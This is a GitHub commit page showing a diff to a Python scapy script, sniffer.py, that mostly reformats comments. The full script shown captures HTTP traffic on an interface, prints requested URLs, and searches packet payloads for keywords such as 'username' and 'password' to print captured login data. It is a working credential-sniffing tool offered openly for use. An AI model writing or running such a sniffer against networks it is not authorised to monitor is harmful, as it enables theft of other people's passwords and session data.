Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit 47b3678

Browse files
Update sniffer.py
1 parent a10cfdd commit 47b3678

File tree

1 file changed

+11
-14
lines changed

1 file changed

+11
-14
lines changed

‎SNIFFER/sniffer.py

Lines changed: 11 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,29 +1,30 @@
11
import scapy.all as scapy
2-
from scapy.layers import http # pip install scapy_http
3-
2+
from scapy.layers import http
43
# from scapy_http import http
54

65
def get_url(packet):
7-
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path #for detecting urls
6+
#for detecting urls
7+
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
88

99

1010
def sniff(interface):
11-
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet) #prn it will excute a function which we will give it after capturing packet
11+
#prn it will excute a function which we will give it after capturing packet
12+
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
1213

1314

1415
def get_login_info(packet):
1516
if packet.haslayer(scapy.Raw):
16-
# print(packet[scapy.Raw].load) #finding and printing Raw layer
17+
#finding and printing Raw layer
18+
# print(packet[scapy.Raw].load)
1719
load = packet[scapy.Raw].load
1820
keywords=["username", "user", "login" ,"password", "pass"]
1921
for keyword in keywords:
2022
if keyword in load:
2123
return load
2224

2325

24-
#store =dont store memory on this pc
25-
26-
def process_sniffed_packet(packet): # for http only
26+
27+
def process_sniffed_packet(packet):
2728
if packet.haslayer(http.HTTPRequest):
2829
url = get_url(packet)
2930
print("[+] HTTP REQUEST >> \n"+url)
@@ -33,9 +34,5 @@ def process_sniffed_packet(packet): # for http only
3334
print("\n\n[+] possible username/password >>"+login_info+"\n\n")
3435

3536

36-
37-
sniff("eth0") #----interfaceon which you want to sniff
38-
39-
40-
## imp -----> python sniffer.py
41-
##code is not in python3
37+
#----interfaceon which you want to sniff
38+
sniff("eth0")

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /